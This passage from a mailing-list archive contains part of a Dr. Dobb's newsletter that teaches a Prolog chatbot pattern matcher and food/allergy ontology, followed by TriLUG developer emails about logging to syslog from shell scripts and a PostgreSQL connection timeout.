[why,would,you,want,to,[learn,to,fly]]. 'flatten/2' converts that to [why,would,you,want,to,learn,to,fly]. Here is a new version of 'form_response/2' that uses the 'response/2' rules in the knowledge base portion of the application. form_response(Input,Response) :- response(InputPattern, ResponsePatterns), match(InputPattern, Input), random_elem(ResponsePatterns, ResponsePattern), flatten(ResponsePattern, Response). This rule makes use of Prolog automatic backtracking search to find the right response rule. It first picks a 'response/2' and then uses 'match/2' to see if its pattern matches the input. If it doesn't, then Prolog backtracks and tries the next 'response/2' rule. When it finds one that matches, it picks one of the possible response outputs, flattens the list and returns the response. Here's the recursive rules that try to match the input word list with a pattern in one of the response rules. It will be called with the input pattern from a rule and its job will be to see if that pattern can be matched with the user's input. Further, if there are variables in the input pattern, then the binding for those variables will be determined as well. There are two boundary conditions. --One is when the the word list for the input pattern is empty, meaning the pattern matcher succeeded. --The other is when the only element left in the input pattern is a variable, in which case the pattern also succeeds and the variable is bound to whatever is left in the user input. There are two recursive cases. --When the next element in the input pattern list is a variable, a separate predicate is called to gather words from the user input up until the next specific word in the input pattern is encountered. --When the next element is a specific word, then if it matches the user input, recursion continues. ------------------------------------------------------------------------- *ADVERTISEMENT* 101 Perl Articles From the pages of The Perl Journal, Dr. Dobb's Journal, Web Techniques, Webreview.com, and Byte.com, we've brought together 101 articles written by the world's leading experts on Perl programming. Including everything from Perl programming tricks and techniques to utilities for web site searching and indexing, this unique collection of 101 Perl Articles has something for every Perl programmer. $9.95 for TPJ subscribers. Or $24.95 with your TPJ subscription. Download it today! http://www.tpj.com/101Perl.html ------------------------------------------------------------------------- If the input doesn't match, none of the four 'match/2' rules will succeed and the call to 'match/2' fails, triggering backtracking search for another 'response/2.' match([], []). match([Xs], IWs) :- var(Xs), !, Xs = IWs. match([Xs,W|PWs], IWs) :- var(Xs), !, fill_var(Xs, W, IWs, IWsLeft), match([W|PWs], IWsLeft). match([W|PWs], [W|IWs]) :- !, match(PWs, IWs). 'fill_var/4' is another recursive predicate that walks the input list looking for the first occurrence of a word that matches the word after the variable. It has four arguments: --the output list of words, returned to caller; --the next word in the input pattern that causes recursion to stop when it's found; --the user input list being walked, looking for the stop word; --the remainder of the input list, returned for the caller for further processing. fill_var([], W, [W|IWs], [W|IWs]) :- !. fill_var([X|Xs], W, [X|IWs], IWsLeft) :- fill_var(Xs, W, IWs, IWsLeft). It is easy in Prolog to test individual predicates such as this one. When the program is loaded in a Prolog listener, any of the predicates can be queried directly. ?- match([a,b,c], [a,b,c]). yes ?- match([a,X,d], [a,b,c,d]). X = [b, c] yes ?- match([_,like,X], [you,like,to,fly,planes]). X = [to, fly, planes] yes ?- match([_,like,X], [you,want,to,fly,planes]). no ?- match([a,b,c], [a,r,c]). no If you are new to Prolog, the best way to learn to understand code like this is to run it in a debugger, which will provide a trace of Prolog execution and variable bindings. Here is a trace of 'form_response/2' from one type of Prolog debugger. DDJ AI Expert ChatBot Sample > i like pizza 'CALL':user:form_response([you, like, pizza], H132) 'CALL':user:response(H321, H322) 'EXIT':user:response([H388, blue, screen, H394], [[why, do, you, use, windows, ?], [wipe, your, computer, clean, and, install, linux, .]]) 'CALL':user:match([H388, blue, screen, H394], [you, like, pizza]) 'FAIL':user:match([H388, blue, screen, H394], [you, like, pizza]) 'REDO':user:response([H388, blue, screen, H394], [[why, do, you, use, windows, ?], [wipe, your, computer, clean, and, install, linux, .]]) 'EXIT':user:response([yes, H390], [[why, ?]]) 'CALL':user:match([yes, H390], [you, like, pizza]) 'FAIL':user:match([yes, H390], [you, like, pizza]) 'REDO':user:response([yes, H390], [[why, ?]]) 'EXIT':user:response([no, H390], [[why, not, ?]]) 'CALL':user:match([no, H390], [you, like, pizza]) 'FAIL':user:match([no, H390], [you, like, pizza]) 'REDO':user:response([no, H390], [[why, not, ?]]) 'EXIT':user:response([H388, you, like, H394], [[how, can, you, like, H394, ?], [is, it, strange, to, like, H394, ?]]) 'CALL':user:match([H388, you, like, H394], [you, like, pizza]) 'EXIT':user:match(['[]', you, like, [pizza]], [you, like, pizza]) 'CALL':user:random_elem([[how, can, you, like, [pizza], ?], [is, it, strange, to, like, [pizza], ?]], H348) 'EXIT':user:random_elem([[how, can, you, like, [pizza], ?], [is, it, strange, to, like, [pizza], ?]], [how, can, you, like, [pizza], ?]) 'CALL':user:flatten([how, can, you, like, [pizza], ?], H132) 'EXIT':user:flatten([how, can, you, like, [pizza], ?], [how, can, you, like, pizza, ?]) 'EXIT':user:form_response([you, like, pizza], [how, can, you, like, pizza, ?]) how can you like pizza ? > This trace illustrates that the rules are tried in the order they appear. So if a user input might match multiple response patterns, the first one will have priority. At this point, all the code is here that is needed to run the program and get the results displayed a few paragraphs back. ------------------------------------------ Enhancements There are a number of enhancements that can be made to the sample. --Implement better formatting of input and output strings. --Put the knowledge in a separate file, so different sets of pattern matching rules can be used. Let the user pick from a menu of rule files. --Indexing of response rules by key words in the patterns can be added. So for example, rules that match the word 'can' might be indexed on 'can'. This can be used for greater efficiency if a very large number of patterns are coded, and it can be used to easily let one pattern refer to another for completion. --Memory of past variable bindings can be kept and popped back in from time to time. So we might remember the user liked pizza and if nothing else matches, have a response that uses the memory to ask a question about pizza. --Add facts similar to the 'me_you/2' facts that can be used to map a variety of input words into a single word used for pattern matching. For example, 'need' might map to 'want' so the rules matching 'want' will also work if the user types 'need'. Also it would be nice if the these facts used lists of words, rather than being restricted to single words. --And of course creating more and more response patterns to make the chat bot more interesting. ------------------------------------------ Ontology Tools for ontologies are easy to create and play with in Prolog. As always, first a knowledge representation for the ontology is determined, and then tools to use it are developed. ------------------------------------------ Knowledge Representation The entries for the ontology can be stored as property lists, where each word has a property list associated with it. A property list is just a list whose elements are Property = Value. Using this idea for representing ontological knowledge, here are some entries we might want in order to support an application about food. word(pizza, [ kind_of = food, contains = cheese, contains = tomato ]). word(broccoli, [ kind_of = food, color = green ]). word(donut, [ kind_of = food, contains = sugar ]). word(spaghetti_sauce, [ kind_of = food, contains = tomato ]). Here are some more entries about people and allergies. word(joe, [ instance_of = person, allergy = tomato ]). word(jill, [ instance_of = person, allergy = cheese ]). ------------------------------------------ Reasoning Engine Now, armed with typical list utilities, we can write a predicate that can answer questions about the properties of words in our ontology. property(Word, Property, Value) :- word(Word, PropertyList), member(Property = Value, PropertyList). Because Prolog is just matching patterns itself, the 'property/3' predicate works no matter which variables are bound. So it can find properties of a particular word, or words with a particular property. Here are some things we can do with 'property/3' in the listener. (The semicolon tells Prolog to look for another solution, so in these queries we find all solutions.) ?- property(pizza, contains, X). X = cheese ; X = tomato ; no ?- property(X, kind_of, food). X = pizza ; X = broccoli ; X = donut ; X = spaghetti_sauce ; no ?- property(X, kind_of, food), property(X, color, green). X = broccoli ; no ?- findall(X, property(pizza, contains, X), L). X = H19 L = [cheese, tomato] yes Applications of the Ontology The ontology we developed can be used to support other applications. The types of information we stored in the small sample can be used, for example, in an expert system that warns people about what foods they can and cannot eat based on allergies. The rules of that expert system might be written directly in Prolog. Each of these rules finds a person word and a food word and compares the allergy of the person with what the food contains. can_eat(Person, Food) :- property(Person, instance_of, person), property(Person, allergy, Allergy), property(Food, kind_of, food), not property(Food, contains, Allergy). cannot_eat(Person, Food) :- property(Person, instance_of, person), property(Person, allergy, Allergy), property(Food, kind_of, food), property(Food, contains, Allergy). Note that the ontology has changed the knowledge engineering task for this allergy expert system. Without the ontology, the knowledge would all be stored in the rules. With the ontology, the rules become simple general purpose rules and the knowledge is stored in the ontology. Here's how these two rules can be used. ?- can_eat(joe, pizza). no ?- can_eat(joe, donut). yes ?- can_eat(joe, X). X = broccoli ; X = donut ; no ?- cannot_eat(joe, X). X = pizza ; X = spaghetti_sauce ; no ?- can_eat(X, broccoli). X = joe ; X = jill ; no ------------------------------------------ Transitivity Transitivity is an easy enhancement to add to the ontology engine. Transitivity applies to certain properties, such as 'kind_of.' It means that if X 'kind_of' Y and Y 'kind_of' Z then X 'kind_of' Z. We can define certain properties as transitive by specifying it in the knowledge base. transitive(kind_of). transitive(contains). Now if we're looking for a value for a property that is transitive, our engine can recursively call itself. property(Word, Property, Value) :- word(Word, PropertyList), member(Property = Value, PropertyList). property(Word, Property, Value) :- transitive(Property), word(Word, PropertyList), member(Property = Word2, PropertyList), property(Word2, Property, Value). To test it, make one small change to the ontology: have pizza contain spaghetti_sauce instead of tomato. word(pizza, [ kind_of = food, contains = cheese, contains = spaghetti_sauce ]). The test will be to see if joe is still not allowed to eat pizza, as the pizza does not directly contain tomato. ?- property(pizza, contains, X). X = cheese ; X = spaghetti_sauce ; X = tomato ; no ?- can_eat(joe, pizza). no ?- cannot_eat(joe, pizza). yes ------------------------------------------ Chat Bot with Ontology We can use the ontology we developed to add more intelligence to the patterns in the chat bot rules. In particular we can specify properties to include in the pattern match. Here's a pattern that recognizes when the user is talking about food. response( [_,property(W,kind_of,food),_], [ [are,you,talking,about,W,because,you,are,hungry,'?'], [when,did,you,last,eat,W,'?'] ]). And here's some to add to the annoying behavior of our technical support. response( [_,property(W,kind_of,windows),_], [ [you,should,dump,W,and,switch,to,unix,'.'] ]). response( [_,property(W,kind_of,unix),_], [ [you,should,dump,W,and,switch,to,windows,'.'] ]). These last two require the addition of some more information in the ontology. word(windows, [ kind_of = operating_system ]). word(unix, [ kind_of = operating_system ]). word(xp, [ kind_of = windows ]). word(w2000, [ kind_of = windows ]). word(linux, [ kind_of = unix ]). And we have to make some small changes to the basic pattern matcher to recognize and handle these property patterns in the rules. The new clauses are indicated in red. match([], []). match([Xs], IWs) :- var(Xs), !, Xs = IWs. match([Xs,W|PWs], IWs) :- var(Xs), !, fill_var(Xs, W, IWs, IWsLeft), match([W|PWs], IWsLeft). match([property(W,P,V)|PWs], [W|IWs]) :- property(W,P,V), !, match(PWs,IWs). match([W|PWs], [W|IWs]) :- !, match(PWs, IWs). fill_var([], W, [W|IWs], [W|IWs]) :- !. fill_var([], property(W,P,V), [W|IWs], [W|IWs]) :- property(W,P,V), !. fill_var([X|Xs], W, [X|IWs], IWsLeft) :- fill_var(Xs, W, IWs, IWsLeft). Trying the new pattern rules we get a dialog like this. ?- main. DDJ AI Expert ChatBot Sample > i have problmes with xp you should dump xp and switch to unix . > ok i just installed linux you should dump linux and switch to windows . > you are going in circles i am going in circles ? > do you wnat to get a pizza when did you last eat pizza ? > yesterday yesterday ? > yes i ate pizza yesterday are you talking about pizza because you are hungry ? ------------------------------------------ Until next month, Dennis Merritt dennis@ddj.com **Get DDJ delivered right to your door every month! Subscribe now!** http://www.ddj.com/circ/?keycode=2dfb ------------------------------------------------------------------------- *ADVERTISEMENT* Executable Logic -- The Best Way to Code and Maintain the Rules that Drive Business. Contact us for a prototype demonstration showing how logic can be customized for your application to dramatically reduce maintenance, increase reliability and add flexibility to adapt to changing business requirements. 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Copyright 2003 Dr. Dobb's Journal CMP Media's Privacy Policy: http://www.cmp.com/delivery/privacy.html From jeremyp@pobox.com Mon Nov 10 14:38:14 2003 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from [192.168.95.92] (unknown [198.86.17.21]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id A980EA001E for ; Mon, 10 Nov 2003 14:38:14 -0500 (EST) From: Jeremy Portzer To: dev@trilug.org Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-OJ5EF0D3aTmh3QX3RXRe" Message-Id: <1068493084.5470.23.camel@jeremy.dtcc.cc.nc.us> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2jpp) Date: Mon, 10 Nov 2003 14:38:05 -0500 Subject: [Dev] syslog "client" from a shell script? X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Nov 2003 19:38:15 -0000 --=-OJ5EF0D3aTmh3QX3RXRe Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Okay, this is probably a stupid question. But suppose I'm writing a shell script, and I want to send a message to syslog, so that it will show up in /var/log/messages. Is there a syslog "client" of some sort that can be run easily from a shell script? (I realize that there is a C library; I don't really want to get into that.) =20 Thanks for any advice, Jeremy --=20 /---------------------------------------------------------------------\ | Jeremy Portzer jeremyp@pobox.com trilug.org/~jeremy | | GPG Fingerprint: 712D 77C7 AB2D 2130 989F E135 6F9F F7BC CC1A 7B92 | \---------------------------------------------------------------------/ --=-OJ5EF0D3aTmh3QX3RXRe Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQA/r+kbb5/3vMwae5IRAl1UAJ9+EJ6Y+EF8XWUD6BEyud4W5Xob0wCg5v5U niFXj4Idj0XCz2aePnxpU8s= =96Bv -----END PGP SIGNATURE----- --=-OJ5EF0D3aTmh3QX3RXRe-- From johndavi@us.ibm.com Mon Nov 10 14:48:30 2003 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id 05D9DA001E for ; Mon, 10 Nov 2003 14:48:30 -0500 (EST) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id hAAJmQIw144650 for ; Mon, 10 Nov 2003 14:48:26 -0500 Received: from d03nm113.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id hAAJmPgV158528 for ; Mon, 10 Nov 2003 12:48:25 -0700 Subject: Re: [Dev] syslog "client" from a shell script? To: "Discussion of scripts, programs, and development" X-Mailer: Lotus Notes Release 5.0.11 July 24, 2002 Message-ID: From: John F Davis Date: Mon, 10 Nov 2003 14:47:29 -0500 X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 6.0.2CF2HF92 | October 15, 2003) at 11/10/2003 12:48:25 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Nov 2003 19:48:30 -0000 Hello Jeremy, I don't know off hand, but have you tried the great google? JD |---------+----------------------------> | | Jeremy Portzer | | | | | | Sent by: | | | dev-bounces@trilu| | | g.org | | | | | | | | | 11/10/2003 02:38 | | | PM | | | Please respond to| | | "Discussion of | | | scripts,programs,| | | and development" | | | >---------------------------------------------------------------------------------------------------------------------------| | | | To: dev@trilug.org | | cc: | | Subject: [Dev] syslog "client" from a shell script? | | | >---------------------------------------------------------------------------------------------------------------------------| Okay, this is probably a stupid question. But suppose I'm writing a shell script, and I want to send a message to syslog, so that it will show up in /var/log/messages. Is there a syslog "client" of some sort that can be run easily from a shell script? (I realize that there is a C library; I don't really want to get into that.) Thanks for any advice, Jeremy -- /---------------------------------------------------------------------\ | Jeremy Portzer jeremyp@pobox.com trilug.org/~jeremy | | GPG Fingerprint: 712D 77C7 AB2D 2130 989F E135 6F9F F7BC CC1A 7B92 | \---------------------------------------------------------------------/ _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev #### signature.asc has been removed from this note on November 10, 2003 by John F Davis From jeremyp@pobox.com Mon Nov 10 15:04:48 2003 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from [192.168.95.92] (unknown [198.86.17.21]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id 5509FA001E for ; Mon, 10 Nov 2003 15:04:48 -0500 (EST) Subject: Re: [Dev] syslog "client" from a shell script? From: Jeremy Portzer To: "Discussion of scripts, programs, and development" In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-0AO2SFqqN4dLzP3rqPij" Message-Id: <1068494678.5470.26.camel@jeremy.dtcc.cc.nc.us> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2jpp) Date: Mon, 10 Nov 2003 15:04:38 -0500 X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Nov 2003 20:04:48 -0000 --=-0AO2SFqqN4dLzP3rqPij Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2003-11-10 at 14:47, John F Davis wrote: >=20 >=20 > Hello Jeremy, >=20 > I don't know off hand, but have you tried the great google? >=20 Sure, of course. Wouldn't have asked here if I hadn't. Scott Lundgren pointed out on IRC that the command I'm looking for is called "logger" (and is included in the util-linux package). Thanks Scott. Now, you'd think they could at least mention this command in the "See Also" section for syslog(3). Grr... --Jeremy --=20 /---------------------------------------------------------------------\ | Jeremy Portzer jeremyp@pobox.com trilug.org/~jeremy | | GPG Fingerprint: 712D 77C7 AB2D 2130 989F E135 6F9F F7BC CC1A 7B92 | \---------------------------------------------------------------------/ --=-0AO2SFqqN4dLzP3rqPij Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQA/r+9Vb5/3vMwae5IRAst8AKCl2IMPIbuMgkcnMPLEnc0J80jBLgCeKIQS VTvA/lv+2Ym+mPFRYUsn3qE= =gs4e -----END PGP SIGNATURE----- --=-0AO2SFqqN4dLzP3rqPij-- From johndavi@us.ibm.com Mon Nov 10 15:34:45 2003 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id EB166A0005 for ; Mon, 10 Nov 2003 15:34:44 -0500 (EST) Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id hAAKYekF249686 for ; Mon, 10 Nov 2003 15:34:40 -0500 Received: from d03nm113.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id hAAKYdFt110152 for ; Mon, 10 Nov 2003 13:34:40 -0700 Subject: Re: [Dev] syslog "client" from a shell script? To: "Discussion of scripts, programs, and development" X-Mailer: Lotus Notes Release 5.0.11 July 24, 2002 Message-ID: From: John F Davis Date: Mon, 10 Nov 2003 15:33:40 -0500 X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 6.0.2CF2HF92 | October 15, 2003) at 11/10/2003 13:34:40 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Nov 2003 20:34:45 -0000 Jeremy, Good deal. FWIW, I just check "apropos syslog" output and logger is the first entry. JD |---------+----------------------------> | | Jeremy Portzer | | | | | | Sent by: | | | dev-bounces@trilu| | | g.org | | | | | | | | | 11/10/2003 03:04 | | | PM | | | Please respond to| | | "Discussion of | | | scripts,programs,| | | and development" | | | >---------------------------------------------------------------------------------------------------------------------------| | | | To: "Discussion of scripts, programs, and development" | | cc: | | Subject: Re: [Dev] syslog "client" from a shell script? | | | >---------------------------------------------------------------------------------------------------------------------------| On Mon, 2003-11-10 at 14:47, John F Davis wrote: > > > Hello Jeremy, > > I don't know off hand, but have you tried the great google? > Sure, of course. Wouldn't have asked here if I hadn't. Scott Lundgren pointed out on IRC that the command I'm looking for is called "logger" (and is included in the util-linux package). Thanks Scott. Now, you'd think they could at least mention this command in the "See Also" section for syslog(3). Grr... --Jeremy -- /---------------------------------------------------------------------\ | Jeremy Portzer jeremyp@pobox.com trilug.org/~jeremy | | GPG Fingerprint: 712D 77C7 AB2D 2130 989F E135 6F9F F7BC CC1A 7B92 | \---------------------------------------------------------------------/ _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev #### signature.asc has been removed from this note on November 10, 2003 by John F Davis From jeremyp@pobox.com Mon Nov 10 15:37:33 2003 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from [192.168.95.92] (unknown [198.86.17.21]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id 2BA95A0005 for ; Mon, 10 Nov 2003 15:37:33 -0500 (EST) Subject: Re: [Dev] syslog "client" from a shell script? From: Jeremy Portzer To: "Discussion of scripts, programs, and development" In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-9g5B0HW4kPu18KNd9wv4" Message-Id: <1068496641.5470.28.camel@jeremy.dtcc.cc.nc.us> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2jpp) Date: Mon, 10 Nov 2003 15:37:22 -0500 X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Nov 2003 20:37:34 -0000 --=-9g5B0HW4kPu18KNd9wv4 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2003-11-10 at 15:33, John F Davis wrote: >=20 >=20 > Jeremy, >=20 > Good deal. FWIW, I just check "apropos syslog" output and logger is th= e > first entry. >=20 Heh, I forgot about apropos (man -k) because it is so often useless; I should have tried that! --Jeremy --=20 /---------------------------------------------------------------------\ | Jeremy Portzer jeremyp@pobox.com trilug.org/~jeremy | | GPG Fingerprint: 712D 77C7 AB2D 2130 989F E135 6F9F F7BC CC1A 7B92 | \---------------------------------------------------------------------/ --=-9g5B0HW4kPu18KNd9wv4 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQA/r/cAb5/3vMwae5IRAvBvAKDe+8JjLYIIbmn1A3TfPfV/ikRvJACgmvLx Ip8KGVoTyVqOCGv9oiugo2Q= =ca3P -----END PGP SIGNATURE----- --=-9g5B0HW4kPu18KNd9wv4-- From johndavi@us.ibm.com Mon Nov 10 15:45:53 2003 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id ACA62A0005 for ; Mon, 10 Nov 2003 15:45:53 -0500 (EST) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id hAAKjoH5259752 for ; Mon, 10 Nov 2003 15:45:50 -0500 Received: from d03nm113.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id hAAKjVgW276964 for ; Mon, 10 Nov 2003 13:45:38 -0700 Subject: Re: [Dev] syslog "client" from a shell script? To: "Discussion of scripts, programs, and development" X-Mailer: Lotus Notes Release 5.0.11 July 24, 2002 Message-ID: From: John F Davis Date: Mon, 10 Nov 2003 15:45:38 -0500 X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 6.0.2CF2HF92 | October 15, 2003) at 11/10/2003 13:45:38 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Nov 2003 20:45:54 -0000 Jeremy, Yeah its kinda hit or miss. It aint going to help you if it the man page is not installed. ie. if logger is not installed apropos is not going to help unless syslog has a see also reference to it. Which you already pointed out does not exist. Happy Trails, JD |---------+----------------------------> | | Jeremy Portzer | | | | | | Sent by: | | | dev-bounces@trilu| | | g.org | | | | | | | | | 11/10/2003 03:37 | | | PM | | | Please respond to| | | "Discussion of | | | scripts,programs,| | | and development" | | | >---------------------------------------------------------------------------------------------------------------------------| | | | To: "Discussion of scripts, programs, and development" | | cc: | | Subject: Re: [Dev] syslog "client" from a shell script? | | | >---------------------------------------------------------------------------------------------------------------------------| On Mon, 2003-11-10 at 15:33, John F Davis wrote: > > > Jeremy, > > Good deal. FWIW, I just check "apropos syslog" output and logger is the > first entry. > Heh, I forgot about apropos (man -k) because it is so often useless; I should have tried that! --Jeremy -- /---------------------------------------------------------------------\ | Jeremy Portzer jeremyp@pobox.com trilug.org/~jeremy | | GPG Fingerprint: 712D 77C7 AB2D 2130 989F E135 6F9F F7BC CC1A 7B92 | \---------------------------------------------------------------------/ _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev #### signature.asc has been removed from this note on November 10, 2003 by John F Davis From ROHammer@EarthLink.net Tue Jan 13 18:10:20 2004 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from mailscreen.net (fnf-ci.org [65.40.90.248]) by moya.trilug.org (Postfix) with ESMTP id A46A1A0005 for ; Tue, 13 Jan 2004 18:10:19 -0500 (EST) Received: FROM 127.0.0.1 ([127.0.0.1]) BY mailscreen.net FOR ; Tue, 13 Jan 2004 18:10:23 -0500 (EST) Message-ID: <40047ADE.7010406@EarthLink.net> Date: Tue, 13 Jan 2004 18:10:22 -0500 From: "Richard O. Hammer" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Trilug Developers Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [Dev] PostgreSQL connection timeout X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 Jan 2004 23:10:20 -0000 I have PostgreSQL 7.3.2 running on Red Hat 7.3, and I am connecting to it from a Java Virtual Machine on Windows 2000. Usually it runs fine. But sometimes it breaks, seemingly with a connection timeout. I hope for suggestions on what to do about this. When my problem happens, I get a stack trace like this on the client (Windows) side: An I/O error occurred while reading from backend - Exception: java.net.SocketException: Connection reset by peer: JVM_recv in socket input stream read Stack Trace: java.net.SocketException: Connection reset by peer: JVM_recv in socket input stream read at java.net.SocketInputStream.socketRead0(Native Method) at java.net.SocketInputStream.read(SocketInputStream.java:116) at java.io.BufferedInputStream.fill(BufferedInputStream.java:183) at java.io.BufferedInputStream.read(BufferedInputStream.java:201) at org.postgresql.PG_Stream.ReceiveChar(PG_Stream.java:138) at org.postgresql.core.QueryExecutor.execute(QueryExecutor.java:71) ... And on the Linux server side I see the following message in /var/log/messages. I believe this message relates to the problem I am having. Jan 10 22:54:59 r postgres[27572]: [1] LOG: pq_recvbuf: recv() failed: Connection timed out Searching, I found my error message mentioned on one PostgreSQL email list. The reply given there told that this is not a PostgreSQL problem, but an underlying kernel or TCP thing on Linux. So, I don't know what to ask exactly, but is there a default TCP connection timeout on Linux? that I could maybe set? Thanks, Rich Hammer From jonc@nc.rr.com Tue Jan 13 22:21:04 2004 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from ms-smtp-02-eri0.southeast.rr.com (ms-smtp-02-lbl.southeast.rr.com [24.25.9.101]) by moya.trilug.org (Postfix) with ESMTP id C1A10A0005 for ; Tue, 13 Jan 2004 22:21:03 -0500 (EST) Received: from [192.168.1.24] (rdu57-31-133.nc.rr.com [66.57.31.133]) by ms-smtp-02-eri0.southeast.rr.com (8.12.10/8.12.7) with ESMTP id i0E3L1Yr019139 for ; Tue, 13 Jan 2004 22:21:01 -0500 (EST) Subject: Re: [Dev] PostgreSQL connection timeout From: Jon Carnes To: Discussion "of scripts, programs, " and development In-Reply-To: <40047ADE.7010406@EarthLink.net> References: <40047ADE.7010406@EarthLink.net> Content-Type: text/plain Organization: Anncons Message-Id: <1074050461.5625.5.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: jonc@nc.rr.com, "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Date: Wed, 14 Jan 2004 03:21:04 -0000 X-Original-Date: 13 